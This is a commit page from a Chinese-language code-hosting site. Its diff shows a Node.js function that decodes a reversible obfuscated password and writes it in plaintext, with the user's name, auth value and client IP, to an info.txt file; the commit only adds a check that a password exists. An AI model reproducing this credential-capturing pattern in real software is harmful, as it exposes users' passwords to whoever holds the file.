提交 6f81aa16 authored 作者: GOD_ZYX's avatar GOD_ZYX

update

上级 2de8be42
......@@ -114,16 +114,19 @@ const agentProcessor = () => {
}
pwdBase64 = com.CryptoJs.decryptData(_AUTH)
}
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'IP: ' + getClientIP(req),
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(err) }
})
/* 有密码时,才写入基础数据中 */
if (pwdBase64) {
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'IP: ' + getClientIP(req),
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(err) }
})
}
}
})
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论